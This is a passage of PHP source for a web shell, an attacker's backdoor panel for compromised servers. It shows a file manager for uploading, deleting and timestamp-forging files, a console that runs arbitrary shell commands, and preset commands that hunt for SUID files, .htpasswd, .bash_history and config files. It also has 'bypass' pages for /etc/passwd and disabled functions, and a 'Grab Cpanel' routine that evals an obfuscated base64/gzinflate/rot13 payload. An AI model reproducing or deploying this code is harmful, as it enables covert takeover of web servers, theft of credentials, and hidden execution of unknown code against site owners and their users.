1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</textarea><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'hexdump\':\r\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\r\n\t\t\t$n = 0;\r\n\t\t\t$h = array(\'00000000<br>\',\'\',\'\');\r\n\t\t\t$len = strlen($c);\r\n\t\t\tfor ($i=0; $i<$len; ++$i) {\r\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\r\n\t\t\t\tswitch ( ord($c[$i]) ) {\r\n\t\t\t\t\tcase 0:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 9:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\r\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\r\n\t\t\t\t}\r\n\t\t\t\t$n++;\r\n\t\t\t\tif ($n == 32) {\r\n\t\t\t\t\t$n = 0;\r\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\r\n\t\t\t\t\t$h[1] .= \'<br>\';\r\n\t\t\t\t\t$h[2] .= "\\n";\r\n\t\t\t\t}\r\n\t\t \t}\r\n\t\t\techo \'<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#000000><pre>\'.$h[1].\'</pre></td><td bgcolor=#202832><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\r\n\t\t\tbreak;\r\n\t\tcase \'rename\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\r\n\t\t\t\t\techo \'Can\\\'t rename!<br>\';\r\n\t\t\t\telse\r\n\t\t\t\t\tdie(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'touch\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\r\n\t\t\t\tif($time) {\r\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\r\n\t\t\t\t\t\techo \'Fail!\';\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo \'Touched!\';\r\n\t\t\t\t} else echo \'Bad time format!\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\t/* (С) 12.2015 mitryz */\r\n\t\tcase \'frame\':\r\n\t\t\t$frameSrc = substr(htmlspecialchars($GLOBALS[\'cwd\']), strlen(htmlspecialchars($_SERVER[\'DOCUMENT_ROOT\'])));\r\n\t\t\tif ($frameSrc[0] != \'/\')\r\n\t\t\t\t$frameSrc = \'/\' . $frameSrc;\r\n\t\t\tif ($frameSrc[strlen($frameSrc) - 1] != \'/\')\r\n\t\t\t\t$frameSrc = $frameSrc . \'/\';\r\n\t\t\t$frameSrc = $frameSrc . htmlspecialchars($_POST[\'p1\']);\r\n\t\t\techo \'<iframe width="100%" height="900px" scrolling="no" src=\'.$frameSrc.\' onload="onload=height=contentDocument.body.scrollHeight"></iframe>\';\r\n\t\t\tbreak;\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nif($os == \'win\')\r\n\t$aliases = array(\r\n\t\t"List Directory" => "dir",\r\n    \t"Find index.php in current dir" => "dir /s /w /b index.php",\r\n    \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\r\n    \t"Show active connections" => "netstat -an",\r\n    \t"Show running services" => "net start",\r\n    \t"User accounts" => "net user",\r\n    \t"Show computers" => "net view",\r\n\t\t"ARP Table" => "arp -a",\r\n\t\t"IP Configuration" => "ipconfig /all"\r\n\t);\r\nelse\r\n\t$aliases = array(\r\n  \t\t"List dir" => "ls -lha",\r\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\r\n  \t\t"show opened ports" => "netstat -an | grep -i listen",\r\n        "process status" => "ps aux",\r\n\t\t"Find" => "",\r\n  \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\r\n  \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\r\n  \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\r\n  \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\r\n  \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\r\n  \t\t"find config* files" => "find / -type f -name \\"config*\\"",\r\n  \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\r\n  \t\t"find all writable folders and files" => "find / -perm -2 -ls",\r\n  \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\r\n  \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\r\n  \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\r\n  \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\r\n  \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\r\n  \t\t"find all .bash_history files" => "find / -type f -name .bash_history",\r\n  \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\r\n  \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\r\n  \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\r\n\t\t"Locate" => "",\r\n  \t\t"locate httpd.conf files" => "locate httpd.conf",\r\n\t\t"locate vhosts.conf files" => "locate vhosts.conf",\r\n\t\t"locate proftpd.conf files" => "locate proftpd.conf",\r\n\t\t"locate psybnc.conf files" => "locate psybnc.conf",\r\n\t\t"locate my.conf files" => "locate my.conf",\r\n\t\t"locate admin.php files" =>"locate admin.php",\r\n\t\t"locate cfg.php files" => "locate cfg.php",\r\n\t\t"locate conf.php files" => "locate conf.php",\r\n\t\t"locate config.dat files" => "locate config.dat",\r\n\t\t"locate config.php files" => "locate config.php",\r\n\t\t"locate config.inc files" => "locate config.inc",\r\n\t\t"locate config.inc.php" => "locate config.inc.php",\r\n\t\t"locate config.default.php files" => "locate config.default.php",\r\n\t\t"locate config* files " => "locate config",\r\n\t\t"locate .conf files"=>"locate \'.conf\'",\r\n\t\t"locate .pwd files" => "locate \'.pwd\'",\r\n\t\t"locate .sql files" => "locate \'.sql\'",\r\n\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\r\n\t\t"locate .bash_history files" => "locate \'.bash_history\'",\r\n\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\r\n\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\r\n\t\t"locate backup files" => "locate backup",\r\n\t\t"locate dump files" => "locate dump",\r\n\t\t"locate priv files" => "locate priv"\r\n\t);\r\nfunction actionConsole() {\r\n    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\r\n        $_POST[\'p1\'] .= \' 2>&1\';\r\n    } elseif(!empty($_POST[\'p1\']))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\r\n\tif(isset($_POST[\'ajax\'])) {\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\r\n\t\tob_start();\r\n\t\techo "d.cf.cmd.value=\'\';\\n";\r\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']),"\\n\\r\\t\\\'\\0"));\r\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\r\n\t\t\tif(@chdir($match[1])) {\r\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\r\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo "d.cf.output.value+=\'".$temp."\';";\r\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\r\n\t\t$temp = ob_get_clean();\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit;\r\n\t}\r\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\r\n\thardHeader();\r\n    echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array(\'\');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push(\'\');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";\r\n\techo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><label><select name=alias>\';\r\n\tforeach($GLOBALS[\'aliases\'] as $n => $v) {\r\n\t\tif($v == \'\') {\r\n\t\t\techo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\techo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\r\n\t}\r\n\techo \'</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>\';\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\techo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']));\r\n\t}\r\n\techo \'</textarea><table style="border:1px solid #000000;background-color:#000000;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\r\n\techo \'</form></div><script>d.cf.cmd.focus();</script>\';\r\n\thardFooter();\r\n}\r\nfunction actionbypas() {\r\n\thardHeader();\r\n\techo "<center><h1>Bypass Tools</h1><div class=content><br>";\r\n\t\r\n\techo"<th><a href=\'#\' onclick=\'g(\\"passw\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'> >>> Bypass: /etc/passwd <<< </a></th><p>";\r\n\techo"<th><a href=\'#\' onclick=\'g(\\"disable\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'> >>> Bypass: Disbaled Functions <<< </a></th>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionpassw() {\r\n\thardHeader();\r\n\techo "<center><h1>Bypass: /etc/passwd</h1><div class=content><br>";\r\n\t\r\n\techo "<br><center>  <iframe src=\'?passwd\' width=\'900\' height=\'400\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actiondisable() {\r\n\thardHeader();\r\n\techo "<center><h1>Bypass: Disabled Functions</h1><div class=content><br>";\r\n\techo "<br><center>  <iframe src=\'?disabled\' width=\'900\' height=\'300\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionPhp() {\r\n\thardHeader();\r\n\techo "<center><h1>Grab Cpanel</h1><div class=content><br>";\r\n\t$hex = "tUrvYto4GP5eqf+DlyElXGZWoLfTUwkbR5R3H6qWYZO6XoXinO0UupA4w3jY+r/feJtA+NECpzvUCm8/fv368XA/Yj6IQAwodJaZChrm8cOAE4IJNXqvbWVrkFJOwgQOEA8Y4fX7ukhufMTsyjQmf1Q8Ikp8HLEbwYNS07UIZ4PweNWfhwcIPpWYaz4fhTlBubVuMEVu5YwzZ3odXcRIwWEr4q6AE84iEiBTxNSSUGI91fVna8CTCVNzZllN8t88mbcksB6uWyqpN41SQJGPPnEi55bpZZa4TjzlqZPgIDOrCoULFFriIBXEMtz7mHWcISEiUNYchgkqAkoPDwoWtgeRMJHN40fRz0zOU5PF45yjOBffA3+Wf5PJ/wm6160MhwglbFmpQtlQzustZ9k5YvdD03KTSGALXWi+Xnx2YuwsBwHk+Uy/uwvuFJ6GmKS7YJ3pg5ME2QzqwlcMyWaCo4D5NVJsAlFs8kouKHuBtAwTHicTWONvTRAt1QdxRVNPWQtBesNWx1NI9s1NcXFTBoSD/hPYf+g3etO0iygyAzwMOAEgBBKjwWrOwm4kRVgKU2hOQUU1Zbkx5dQ1nG+0SY8g32C06UHwlLumo+PdmmUN5p1wujM2lCDDGIjzEVmSDEarkJagkG6cVxFLKl5IiSPB4YN+tpEJgeVgiLc+hcNTWVg59HLaZRED0DcDKUR416GzDfYX9051m/NJA2szFLLQrNR0TUmB2n9/DHXgs0QPVIjiXKR1OBGMn6ChVdmkgXfH76B0VsrAqNLG0ZFwgFzSzYGXApygdOZOK295xnVPa+ZCGAsb7m/zHKNE997WEYsJsOUPxmwcPLZX3Vo3Ye2ZWQN6VsZL5X/f5e4yULFyLwV/jjzdW55sQeBt7kU7K/xd5iJsUZ854Qv65uc/Wo6O5DeNkoRGbewb65vyeH2aX1h4+ivQaok8U1ZR8gG4HEYnVj2B3+GQTNBio8vz7lrntDeAL7uYdzg8ps6QuvjRCSehsXbcfBjcjBef+u2een7F31Gex+4bx1DWVBGka1URXL5inNoJIveN2lvHq6JCPGzEYd2rbPBKUNcCdcMjSmmaLyZr2jnr2ai2FWb9pX9maHMbhNModLAjcLiQ/vxwwINR2XZOefXFVdedm5vOx5vO5VLvWKf9zLwFuNvvnWrbve5S++y637VfzvFm/+IKQDpvchxymbpLFZ6PayLRM/t+Kpu4q/xCWzbDLM5uEKhSbeYCRvL1J55G/mZKf5/7rreH767a65qlrjjnBoPczwenY2F8FBMSP0tYxkqsRGyfSmvfeUQf4KR9F5b5DQdcupruLwDyEwJgMI1MMhnEbGGZryUUGZbzW9VrPR9FNsRvcZZUZ2+VW7Th5jywZ06mx9zW7nFMSVKtbWxvSBXBqmHv1GGWoKWIQvqnSVCZg04UCCgNLdmm1BREssRCJZ0GmwmTRCRMS+20V1AEGUkq2cPjZGhes8LcbRUqQWQzFb2QiO7FTdo6/ymcQ04xgSMCw3qJ0nbLd6ckSWizpSULQZ+Rwaz6TCxX8kRH0nNQYXJW7VJuUWHf3NmmLFrM6nyoGq4nuwWEaqfSl9CTpf3IfSXNH1er81nkQchHiIq3Xv+Q/6fmIfvVOeS/rXqWXGmDWGErbraNB5ddZdK1ogVRSfnxe1oWlC1m6Rk9Sql5m0ax9K+y3U1y7LBctUDTQzmonSoIMDUD5kHFBE35rF9NZsHnfiV/7zV3m/p+eQz2tNy0/rjVv1diqam4n9Gi7XsPukOrp6Imp2TAZmcNT5O3BOyfms2BDCbH8j0YueU34SXLR15NGOdZ5qsptZqi1czgPKEE55j4r7Ps3TvPePW73UG36coe9ba9CbNrYpsB5XvyJuCyUBfgNnPoT0gvAqh81WchExfyRpv9hN63/gE=";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($hex)))))); \r\n\techo" </div>";\r\n\thardFooter();\r\n}\r\nfunction actionReseller() {\r\n\thardHeader();\r\n\techo "<center><h1>WHM & Reseller Finder</h1><div class=content><br>";\r\n\techo "<br><center>  <iframe src=\'?reseller\' width=\'900\' height=\'470\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionFilesMan() {\r\n    if (!empty ($_COOKIE[\'f\']))\r\n        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tswitch($_POST[\'p1\']) {\r\n\t\t\tcase \'uploadFile\':\r\n\t\t\t\tif ( is_array($_FILES[\'f\'][\'tmp_name\']) ) {\r\n\t\t\t\t\tforeach ( $_FILES[\'f\'][\'tmp_name\'] as $i => $tmpName ) {\r\n                        if(!@move_uploaded_file($tmpName, $_FILES[\'f\'][\'name\'][$i])) {\r\n                                echo "Can\'t upload file!";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'mkdir\':\r\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\r\n\t\t\t\t\techo "Can\'t create new dir";\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'delete\':\r\n\t\t\t\tfunction deleteDir($path) {\r\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\r\n\t\t\t\t\t$dh  = opendir($path);\r\n\t\t\t\t\twhile ( ($▟ = readdir($dh) ) !== false) {\r\n\t\t\t\t\t\t$▟ = $path.$▟;\r\n\t\t\t\t\t\tif ( (basename($▟) == "..") || (basename($▟) == ".") )\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t$type = filetype($▟);\r\n\t\t\t\t\t\tif ($type == "dir")\r\n\t\t\t\t\t\t\tdeleteDir($▟);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($▟);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclosedir($dh);\r\n\t\t\t\t\t@rmdir($path);\r\n\t\t\t\t}\r\n\t\t\t\tif(is_array(@$_POST[\'f\']))\r\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\r\n                        if($f == \'..\')\r\n                            continue;\r\n\t\t\t\t\t\t$f = urldecode($f);\r\n\t\t\t\t\t\tif(is_dir($f))\r\n\t\t\t\t\t\t\tdeleteDir($f);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($f);\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'paste\':\r\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\r\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\r\n\t\t\t\t\tfunction move_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        if ($zip->open($_POST[\'p2\'], 1)) {\r\n                            chdir($_COOKIE[\'c\']);\r\n                            foreach($_COOKIE[\'f\'] as $f) {\r\n                                if($f == \'..\')\r\n                                    continue;\r\n                                if(@is_file($_COOKIE[\'c\'].$f))\r\n                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);\r\n                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {\r\n                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\r\n                                    foreach ($iterator as $key=>$value) {\r\n                                        $zip->addFile(realpath($key), $key);\r\n                                    }\r\n                                }\r\n                            }\r\n                            chdir($GLOBALS[\'cwd\']);\r\n                            $zip->close();\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        foreach($_COOKIE[\'f\'] as $f) {\r\n                            if($zip->open($_COOKIE[\'c\'].$f)) {\r\n                                $zip->extractTo($GLOBALS[\'cwd\']);\r\n                                $zip->close();\r\n                            }\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\r\n                    chdir($_COOKIE[\'c\']);\r\n                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\r\n                    ex(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\r\n                    chdir($GLOBALS[\'cwd\']);\r\n\t\t\t\t}\r\n\t\t\t\tunset($_COOKIE[\'f\']);\r\n                setcookie(\'f\', \'\', time() - 3600);\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n                if(!empty($_POST[\'p1\'])) {\r\n\t\t\t\t\tprototype(\'act\', $_POST[\'p1\']);\r\n\t\t\t\t\tprototype(\'f\', serialize(@$_POST[\'f\']));\r\n\t\t\t\t\tprototype(\'c\', @$_POST[\'c\']);\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n    hardHeader();\r\n\techo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\r\n\t$dirContent = hardScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\r\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';hardFooter(); return; }\r\n\tglobal $sort;\r\n\t$sort = array(\'name\', 1);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\r\n\t\t\t$sort = array($match[1], (int)$match[2]);\r\n\t}\r\necho "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == \'checkbox\')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\r\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\r\n\t$dirs = $files = array();\r\n\t$n = count($dirContent);\r\n\tfor($i=0;$i<$n;$i++) {\r\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\r\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\r\n\t\t$tmp = array(\'name\' => $dirContent[$i],\r\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\r\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\r\n\t\t\t\t\t \'perms\' => viewPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\r\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\r\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\r\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\r\n\t\t\t\t\t);\r\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\r\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\r\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&&($dirContent[$i] != "."))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n\t}\r\n\t$GLOBALS[\'sort\'] = $sort;\r\n\tfunction cmp($a, $b) {\r\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\r\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t\telse\r\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t}\r\n\tusort($files, "cmp");\r\n\tusort($dirs, "cmp");\r\n\t$files = array_merge($dirs, $files);\r\n\t$l = 0;\r\n\tforeach($files as $f) {\r\n\t\techo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\r\n\t\t\t.\'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'frame\\\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\r\n\t\t$l = $l?0:1;\r\n\t}\r\n\techo "<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=\'\'>\r\n\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\r\n\t<label><select 